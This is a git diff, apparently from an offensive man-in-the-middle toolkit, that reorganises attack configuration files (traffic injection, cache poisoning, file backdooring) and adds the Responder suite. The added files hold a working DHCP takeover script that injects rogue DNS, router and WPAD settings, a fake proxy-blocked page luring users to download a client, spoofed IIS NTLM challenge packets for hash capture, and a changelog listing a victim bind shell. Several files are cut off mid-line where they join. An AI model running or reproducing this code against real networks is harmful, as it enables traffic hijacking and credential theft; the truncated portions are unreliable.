diff --git a/.gitmodules b/.gitmodules
index 24bf992..3a1ece6 100644
--- a/.gitmodules
+++ b/.gitmodules
@@ -1,3 +1,3 @@
[submodule "bdfactory"]
- path = bdfactory
+ path = libs/bdfactory
url = https://github.com/secretsquirrel/the-backdoor-factory
diff --git a/bdfactory b/bdfactory
deleted file mode 160000
index 89d87b2..0000000
--- a/bdfactory
+++ /dev/null
@@ -1 +0,0 @@
-Subproject commit 89d87b2fa1a499998a2109a751d8869e52485e0c
diff --git a/config_files/airpwn.cfg b/config/airpwn.cfg
similarity index 100%
rename from config_files/airpwn.cfg
rename to config/airpwn.cfg
diff --git a/config_files/airpwn_templates/airpwn_cssbg b/config/airpwn_templates/airpwn_cssbg
similarity index 100%
rename from config_files/airpwn_templates/airpwn_cssbg
rename to config/airpwn_templates/airpwn_cssbg
diff --git a/config_files/airpwn_templates/airpwned_png b/config/airpwn_templates/airpwned_png
similarity index 100%
rename from config_files/airpwn_templates/airpwned_png
rename to config/airpwn_templates/airpwned_png
diff --git a/config_files/airpwn_templates/ftp_resp b/config/airpwn_templates/ftp_resp
similarity index 100%
rename from config_files/airpwn_templates/ftp_resp
rename to config/airpwn_templates/ftp_resp
diff --git a/config_files/airpwn_templates/greet_html b/config/airpwn_templates/greet_html
similarity index 100%
rename from config_files/airpwn_templates/greet_html
rename to config/airpwn_templates/greet_html
diff --git a/config_files/airpwn_templates/js_html b/config/airpwn_templates/js_html
similarity index 100%
rename from config_files/airpwn_templates/js_html
rename to config/airpwn_templates/js_html
diff --git a/config_files/airpwn_templates/puppy_jpg b/config/airpwn_templates/puppy_jpg
similarity index 100%
rename from config_files/airpwn_templates/puppy_jpg
rename to config/airpwn_templates/puppy_jpg
diff --git a/config_files/airpwn_templates/site_hijack b/config/airpwn_templates/site_hijack
similarity index 100%
rename from config_files/airpwn_templates/site_hijack
rename to config/airpwn_templates/site_hijack
diff --git a/config_files/app_cache_poison.cfg b/config/app_cache_poison.cfg
similarity index 100%
rename from config_files/app_cache_poison.cfg
rename to config/app_cache_poison.cfg
diff --git a/config_files/app_cache_poison_templates/default.append b/config/app_cache_poison_templates/default.append
similarity index 100%
rename from config_files/app_cache_poison_templates/default.append
rename to config/app_cache_poison_templates/default.append
diff --git a/config_files/app_cache_poison_templates/default.manifest b/config/app_cache_poison_templates/default.manifest
similarity index 100%
rename from config_files/app_cache_poison_templates/default.manifest
rename to config/app_cache_poison_templates/default.manifest
diff --git a/config_files/app_cache_poison_templates/facebook.append b/config/app_cache_poison_templates/facebook.append
similarity index 100%
rename from config_files/app_cache_poison_templates/facebook.append
rename to config/app_cache_poison_templates/facebook.append
diff --git a/config_files/app_cache_poison_templates/facebook.manifest b/config/app_cache_poison_templates/facebook.manifest
similarity index 100%
rename from config_files/app_cache_poison_templates/facebook.manifest
rename to config/app_cache_poison_templates/facebook.manifest
diff --git a/config_files/app_cache_poison_templates/script.append b/config/app_cache_poison_templates/script.append
similarity index 100%
rename from config_files/app_cache_poison_templates/script.append
rename to config/app_cache_poison_templates/script.append
diff --git a/config_files/app_cache_poison_templates/test.replace b/config/app_cache_poison_templates/test.replace
similarity index 100%
rename from config_files/app_cache_poison_templates/test.replace
rename to config/app_cache_poison_templates/test.replace
diff --git a/config_files/beefautorun.cfg b/config/beefautorun.cfg
similarity index 100%
rename from config_files/beefautorun.cfg
rename to config/beefautorun.cfg
diff --git a/config_files/dhcp.cfg b/config/dhcp.cfg
similarity index 100%
rename from config_files/dhcp.cfg
rename to config/dhcp.cfg
diff --git a/config_files/dns.cfg b/config/dns.cfg
similarity index 100%
rename from config_files/dns.cfg
rename to config/dns.cfg
diff --git a/config_files/filepwn.cfg b/config/filepwn.cfg
similarity index 100%
rename from config_files/filepwn.cfg
rename to config/filepwn.cfg
diff --git a/config_files/hsts_bypass.cfg b/config/hsts_bypass.cfg
similarity index 100%
rename from config_files/hsts_bypass.cfg
rename to config/hsts_bypass.cfg
diff --git a/config_files/javapwn.cfg b/config/javapwn.cfg
similarity index 100%
rename from config_files/javapwn.cfg
rename to config/javapwn.cfg
diff --git a/config_files/replace.cfg b/config/replace.cfg
similarity index 100%
rename from config_files/replace.cfg
rename to config/replace.cfg
diff --git a/libs/responder/CHANGELOG b/libs/responder/CHANGELOG
new file mode 100644
index 0000000..e6f27ad
--- /dev/null
+++ b/libs/responder/CHANGELOG
@@ -0,0 +1,61 @@
+ChangeLog Responder 2.0.8:
+- Removed: Old style options (On/Off). Just use -r instead of -r On.
+- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
+- Added: In-scope llmnr/nbt-ns name option
+- Added: Kerberos hash support
+- Added: DHCP INFORM take over tool (DHCP.py)
+- Added: MDNS Poisoner.
+- Added: -F command line switch to force NTLM authentication on PAC file retrieval.
+- Added: Ability to inject custom HTML in HTTP responses.
+- Added: New WPAD proxy server. Enabled by default.
+- Several improvements.
+- Added: SMTP module
+- Added: POP3 module
+- Added: MSSQL plaintext auth support
+- Added: SMB Relay
+- Added: NBT-NS name is now printed.
+- Added: -I command line switch (network interface). When set, this option override Responder.conf Bind_to setting.
+- Added: Ability to change the HTML payload returned after authentication. See Responder.conf
+- Added: Ability to change the pac script in Responder.conf
+- Added: Configuration file for Responder. See Responder.conf
+- Removed: Several options removed.
+- Added: Bind shell which when executed on a victim workstation, will bind cmd.exe to port 140.
+- Added: -e, --exe, --file option for serving specific files via the HTTP and WPAD server.
+- Added: Ability to bind Responder to a specific interface
+- Fix: Several fixes
+- Added: HTTPS module.
+- Added: Support for LM Hash downgrade.
+- Added: WPAD transparent proxy server.
+- Fix: minor bug fix
+- Fix: Fixed bug in HTTP server.
+- Added: Rogue LDAP auth server. Supports clear text password and NTLMSSP.
+- Added: Ability to turn on/off the DNS server.
+- Added: Icmp-Redirect.py for MITM Windows XP/2003 and earlier Domain members.
+- Added: SMB Clear Text function for NT4 specific.
+- Added: DNS server module.
+- Added: FTP server module.
+- Added: Ability to find the PDC in stealth mode with the Browser listener.
+- Several changes.
+- Removed: -d option (Domain), useless for now.
+- Added: SMB Extended Security NTLMSSP authentication.
+- Added: Fingerprint module.
+- Added: Ability to turn off independently capture services.(mubix)
+- Added: Function to grab HTTP cookies.
+- Fix: Typo in logfile description.
+- Added: Option for logging to a file (ravenium).
+- Added: Basic exception handling for server sockets (ravenium).
+- Added: Logging functionality, now logs all Responder activity to a file with date and time.
+- Added: Print IP address to stdout for each protocol.
+- Improvement: Added new line on Writedata (atucom).
+- Improvement: final Hash is now printed to stdout instead of NT and LM.
+- Fix: Fixed spelling in README (atucom).
+- Fix: Removed hardcoded challenge for SQL NTLM.
+- Fix: Removed hardcoded challenge for HTTP NTLM.
+- Added an HTTP server with support for ntlmv1/v2 and basic Auth.
+- Added command line switch support with optparse.
+- Added -r switch, which allows turning On/Off Wredir answers.
+- Added the possibility to turn off HTTP server using the -s switch.
+- Added LLMNR module.
+- Fixed bug in NTLMv1 hash parsing when clientOs and ClientVersion are
+ empty.
+- Several minor changes.
diff --git a/libs/responder/DHCP.py b/libs/responder/DHCP.py
new file mode 100755
index 0000000..1828ef7
--- /dev/null
+++ b/libs/responder/DHCP.py
@@ -0,0 +1,379 @@
+#! /usr/bin/env python
+# This utility is part of NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import sys,struct,socket,re,optparse,ConfigParser,os
+from odict import OrderedDict
+from socket import inet_aton, inet_ntoa
+
+
+parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1',
+ prog=sys.argv[0],
+ )
+parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
+
+parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
+
+parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
+
+parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
+
+parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
+
+parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
+
+parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
+
+parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
+
+parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
+
+parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
+
+options, args = parser.parse_args()
+
+def ShowWelcome():
+ Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
+ print Message
+
+if options.OURIP is None:
+ print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
+ parser.print_help()
+ exit(-1)
+
+if options.Interface is None:
+ print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
+ parser.print_help()
+ exit(-1)
+
+if options.RouterIP is None:
+ print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
+ parser.print_help()
+ exit(-1)
+
+if options.DNSIP is None:
+ print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
+ parser.print_help()
+ exit(-1)
+
+if options.DNSIP2 is None:
+ print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
+ parser.print_help()
+ exit(-1)
+
+ShowWelcome()
+
+#Config parsing
+ResponderPATH = os.path.dirname(__file__)
+config = ConfigParser.ConfigParser()
+config.read(os.path.join(ResponderPATH,'Responder.conf'))
+RespondTo = config.get('Responder Core', 'RespondTo').strip()
+
+#Setting some vars
+Interface = options.Interface
+OURIP = options.OURIP
+ROUTERIP = options.RouterIP
+NETMASK = options.Netmask
+DHCPSERVER = options.OURIP
+DNSIP = options.DNSIP
+DNSIP2 = options.DNSIP2
+DNSNAME = options.DNSNAME
+WPADSRV = options.WPAD
+Spoof = options.Spoof
+Request = options.Request
+
+if Spoof:
+ DHCPSERVER = ROUTERIP
+
+def SpoofIP(Spoof):
+ if Spoof:
+ return ROUTERIP
+ else:
+ return OURIP
+
+def RespondToSpecificHost(RespondTo):
+ if len(RespondTo)>=1 and RespondTo != ['']:
+ return True
+ else:
+ return False
+
+def RespondToIPScope(RespondTo, ClientIp):
+ if ClientIp in RespondTo:
+ return True
+ else:
+ return False
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+
+#####################################################################
+# Server Stuff
+#####################################################################
+
+class IPHead(Packet):
+ fields = OrderedDict([
+ ("Version", "\x45"),
+ ("DiffServices", "\x00"),
+ ("TotalLen", "\x00\x00"),
+ ("Ident", "\x00\x00"),
+ ("Flags", "\x00\x00"),
+ ("TTL", "\x40"),
+ ("Protocol", "\x11"),
+ ("Checksum", "\x00\x00"),
+ ("SrcIP", ""),
+ ("DstIP", ""),
+ ])
+
+class UDP(Packet):
+ fields = OrderedDict([
+ ("SrcPort", "\x00\x43"),
+ ("DstPort", "\x00\x44"),
+ ("Len", "\x00\x00"),
+ ("Checksum", "\x00\x00"),
+ ("Data", "\x00\x00"),
+ ])
+
+ def calculate(self):
+ self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
+
+class DHCPACK(Packet):
+ fields = OrderedDict([
+ ("MessType", "\x02"),
+ ("HdwType", "\x01"),
+ ("HdwLen", "\x06"),
+ ("Hops", "\x00"),
+ ("Tid", "\x22\x1b\xe0\x1a"),
+ ("ElapsedSec", "\x00\x00"),
+ ("BootpFlags", "\x00\x00"),
+ ("ActualClientIP", "\x00\x00\x00\x00"),
+ ("GiveClientIP", "\x00\x00\x00\x00"),
+ ("NextServerIP", "\x00\x00\x00\x00"),
+ ("RelayAgentIP", "\x00\x00\x00\x00"),
+ ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
+ ("ClientMacPadding", "\x00" *10),
+ ("ServerHostname", "\x00" * 64),
+ ("BootFileName", "\x00" * 128),
+ ("MagicCookie", "\x63\x82\x53\x63"),
+ ("DHCPCode", "\x35"), #DHCP Message
+ ("DHCPCodeLen", "\x01"),
+ ("DHCPOpCode", "\x05"), #Msgtype(ACK)
+ ("Op54", "\x36"),
+ ("Op54Len", "\x04"),
+ ("Op54Str", ""), #DHCP Server
+ ("Op51", "\x33"),
+ ("Op51Len", "\x04"),
+ ("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
+ ("Op1", "\x01"),
+ ("Op1Len", "\x04"),
+ ("Op1Str", ""), #Netmask
+ ("Op15", "\x0f"),
+ ("Op15Len", "\x0e"),
+ ("Op15Str", DNSNAME), #DNS Name
+ ("Op3", "\x03"),
+ ("Op3Len", "\x04"),
+ ("Op3Str", ""), #Router
+ ("Op6", "\x06"),
+ ("Op6Len", "\x08"),
+ ("Op6Str", ""), #DNS Servers
+ ("Op252", "\xfc"),
+ ("Op252Len", "\x04"),
+ ("Op252Str", WPADSRV), #Wpad Server.
+ ("Op255", "\xff"),
+ ("Padding", "\x00"),
+
+ ])
+
+ def calculate(self):
+ self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+ self.fields["Op1Str"] = inet_aton(NETMASK)
+ self.fields["Op3Str"] = inet_aton(ROUTERIP)
+ self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+ self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+ self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+class DHCPInformACK(Packet):
+ fields = OrderedDict([
+ ("MessType", "\x02"),
+ ("HdwType", "\x01"),
+ ("HdwLen", "\x06"),
+ ("Hops", "\x00"),
+ ("Tid", "\x22\x1b\xe0\x1a"),
+ ("ElapsedSec", "\x00\x00"),
+ ("BootpFlags", "\x00\x00"),
+ ("ActualClientIP", "\x00\x00\x00\x00"),
+ ("GiveClientIP", "\x00\x00\x00\x00"),
+ ("NextServerIP", "\x00\x00\x00\x00"),
+ ("RelayAgentIP", "\x00\x00\x00\x00"),
+ ("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
+ ("ClientMacPadding", "\x00" *10),
+ ("ServerHostname", "\x00" * 64),
+ ("BootFileName", "\x00" * 128),
+ ("MagicCookie", "\x63\x82\x53\x63"),
+ ("Op53", "\x35\x01\x05"), #Msgtype(ACK)
+ ("Op54", "\x36"),
+ ("Op54Len", "\x04"),
+ ("Op54Str", ""), #DHCP Server
+ ("Op1", "\x01"),
+ ("Op1Len", "\x04"),
+ ("Op1Str", ""), #Netmask
+ ("Op15", "\x0f"),
+ ("Op15Len", "\x0e"),
+ ("Op15Str", DNSNAME), #DNS Name
+ ("Op3", "\x03"),
+ ("Op3Len", "\x04"),
+ ("Op3Str", ""), #Router
+ ("Op6", "\x06"),
+ ("Op6Len", "\x08"),
+ ("Op6Str", ""), #DNS Servers
+ ("Op252", "\xfc"),
+ ("Op252Len", "\x04"),
+ ("Op252Str", WPADSRV), #Wpad Server.
+ ("Op255", "\xff"),
+
+ ])
+
+ def calculate(self):
+ self.fields["Op54Str"] = inet_aton(DHCPSERVER)
+ self.fields["Op1Str"] = inet_aton(NETMASK)
+ self.fields["Op3Str"] = inet_aton(ROUTERIP)
+ self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
+ self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
+ self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
+
+def ParseMac(data):
+ return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
+
+def IsUDP(data):
+ if data[0][23:24] == "\x11":
+ return True
+ if data[0][23:24] == "\x06":
+ return False
+
+def ParseSrcDSTAddr(data):
+ SrcIP = inet_ntoa(data[0][26:30])
+ DstIP = inet_ntoa(data[0][30:34])
+ SrcPort = struct.unpack('>H',data[0][34:36])[0]
+ DstPort = struct.unpack('>H',data[0][36:38])[0]
+ return SrcIP,SrcPort,DstIP,DstPort
+
+def FindIP(data):
+ IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
+ return ''.join(IP[0:4])
+
+def ParseDHCPCode(data):
+ PTid = data[4:8]
+ Seconds = data[8:10]
+ CurrentIP = inet_ntoa(data[12:16])
+ RequestedIP = inet_ntoa(data[16:20])
+ MacAddr = data[28:34]
+ OpCode = data[242:243]
+ RequestIP = data[245:249]
+ if OpCode == "\x08":
+ i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
+ p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
+ p.calculate()
+ u = UDP(Data = p)
+ u.calculate()
+ for x in range(1):
+ SendDHCP(str(i)+str(u),(CurrentIP,68))
+ return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+
+ if OpCode == "\x03":
+ if Request:
+ IP = FindIP(data)
+ if IP:
+ IPConv = inet_ntoa(IP)
+ if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
+ i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+ p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
+ p.calculate()
+ u = UDP(Data = p)
+ u.calculate()
+ for x in range(1):
+ SendDHCP(str(i)+str(u),(IPConv,68))
+ return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+ if RespondToSpecificHost(RespondTo) == False:
+ i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+ p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
+ p.calculate()
+ u = UDP(Data = p)
+ u.calculate()
+ for x in range(1):
+ SendDHCP(str(i)+str(u),(IPConv,68))
+ return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+
+ if OpCode == "\x01":
+ if Request:
+ IP = FindIP(data)
+ if IP:
+ IPConv = inet_ntoa(IP)
+ if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
+ i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+ p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
+ p.calculate()
+ u = UDP(Data = p)
+ u.calculate()
+ for x in range(1):
+ SendDHCP(str(i)+str(u),(IPConv,0))
+ return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+ if RespondToSpecificHost(RespondTo) == False:
+ i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
+ p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
+ p.calculate()
+ u = UDP(Data = p)
+ u.calculate()
+ for x in range(1):
+ SendDHCP(str(i)+str(u),(IPConv,0))
+ return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
+
+ else:
+ return False
+
+
+def SendDHCP(packet,Host):
+ Protocol = 0x0800
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+ s.sendto(packet, Host)
+
+def SniffUDPMac():
+ s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
+ Protocol = 0x0800
+ s.bind((Interface, Protocol))
+ while True:
+ data = s.recvfrom(65535)
+ if IsUDP(data):
+ SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
+ if SrcPort == 67 or DstPort == 67:
+ Message = ParseDHCPCode(data[0][42:])
+ if Message:
+ print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
+ print Message
+
+
+SniffUDPMac()
diff --git a/libs/responder/Denied.html b/libs/responder/Denied.html
new file mode 100644
index 0000000..d79f811
--- /dev/null
+++ b/libs/responder/Denied.html
@@ -0,0 +1,31 @@
+
+
+Website Blocked: ISA Proxy Server
+
+
+
+
+
+
+
New Security Policy: Website Blocked
+
+
+
+
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
+
+
+
+
+
+
+
+
diff --git a/libs/responder/FindSQLSrv.py b/libs/responder/FindSQLSrv.py
new file mode 100755
index 0000000..2678f5d
--- /dev/null
+++ b/libs/responder/FindSQLSrv.py
@@ -0,0 +1,39 @@
+#! /usr/bin/env python
+# Created by Laurent Gaffie
+# This file is part of the Responder toolkit.
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import socket
+from socket import *
+
+print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
+
+s = socket(AF_INET,SOCK_DGRAM)
+s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
+s.settimeout(2)
+s.sendto('\x02',('255.255.255.255',1434))
+try:
+ while 1:
+ data, address = s.recvfrom(8092)
+ if not data:
+ break
+ else:
+ print "===============================================================\nHost details:",address[0]
+ print data[2:]
+ print "===============================================================\n"
+except:
+ pass
+
+
diff --git a/libs/responder/Fingerprint.py b/libs/responder/Fingerprint.py
new file mode 100644
index 0000000..29a7837
--- /dev/null
+++ b/libs/responder/Fingerprint.py
@@ -0,0 +1,134 @@
+#! /usr/bin/env python
+# NBT-NS/LLMNR Responder
+# Created by Laurent Gaffie
+# Copyright (C) 2014 Trustwave Holdings, Inc.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see .
+import re,sys,socket,struct,string
+from socket import *
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x00"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("wordcount", "\x00"),
+ ("bcc", "\x62\x00"),
+ ("data", "")
+ ])
+
+ def calculate(self):
+ self.fields["bcc"] = struct.pack(".
+import re,socket,struct
+from socket import *
+from odict import OrderedDict
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+def longueur(payload):
+ length = struct.pack(">i", len(''.join(payload)))
+ return length
+
+class SMBHeader(Packet):
+ fields = OrderedDict([
+ ("proto", "\xff\x53\x4d\x42"),
+ ("cmd", "\x72"),
+ ("error-code", "\x00\x00\x00\x00" ),
+ ("flag1", "\x00"),
+ ("flag2", "\x00\x00"),
+ ("pidhigh", "\x00\x00"),
+ ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", "\x00\x00"),
+ ("tid", "\x00\x00"),
+ ("pid", "\x00\x00"),
+ ("uid", "\x00\x00"),
+ ("mid", "\x00\x00"),
+ ])
+
+class SMBNego(Packet):
+ fields = OrderedDict([
+ ("wordcount", "\x00"),
+ ("bcc", "\x62\x00"),
+ ("data", "")
+ ])
+
+ def calculate(self):
+ self.fields["bcc"] = struct.pack(".
+import struct
+from odict import OrderedDict
+from base64 import b64decode,b64encode
+
+class Packet():
+ fields = OrderedDict([
+ ("data", ""),
+ ])
+ def __init__(self, **kw):
+ self.fields = OrderedDict(self.__class__.fields)
+ for k,v in kw.items():
+ if callable(v):
+ self.fields[k] = v(self.fields[k])
+ else:
+ self.fields[k] = v
+ def __str__(self):
+ return "".join(map(str, self.fields.values()))
+
+
+#HTTP Packet used for further NTLM auth.
+class IIS_Auth_401_Ans(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 401 Unauthorized\r\n"),
+ ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
+ ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("Len", "Content-Length: 0\r\n"),
+ ("CRLF", "\r\n"),
+ ])
+
+#HTTP Packet Granted auth.
+class IIS_Auth_Granted(Packet):
+ fields = OrderedDict([
+ ("Code", "HTTP/1.1 200 OK\r\n"),
+ ("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
+ ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
+ ("Type", "Content-Type: text/html\r\n"),
+ ("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
+ ("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
+ ("ContentLen", "Content-Length: "),
+ ("ActualLen", "76"),
+ ("CRLF", "\r\n\r\n"),
+ ("Payload", "\n\n\n\n
\n\n\n"),
+ ])
+ def calculate(self):
+ self.fields["ActualLen"] = len(str(self.fields["Payload"]))
+
+#HTTP NTLM Auth
+class NTLM_Challenge(Packet):
+ fields = OrderedDict([
+ ("Signature", "NTLMSSP"),
+ ("SignatureNull", "\x00"),
+ ("MessageType", "\x02\x00\x00\x00"),
+ ("TargetNameLen", "\x06\x00"),
+ ("TargetNameMaxLen", "\x06\x00"),
+ ("TargetNameOffset", "\x38\x00\x00\x00"),
+ ("NegoFlags", "\x05\x02\x89\xa2"),
+ ("ServerChallenge", ""),
+ ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("TargetInfoLen", "\x7e\x00"),
+ ("TargetInfoMaxLen", "\x7e\x00"),
+ ("TargetInfoOffset", "\x3e\x00\x00\x00"),
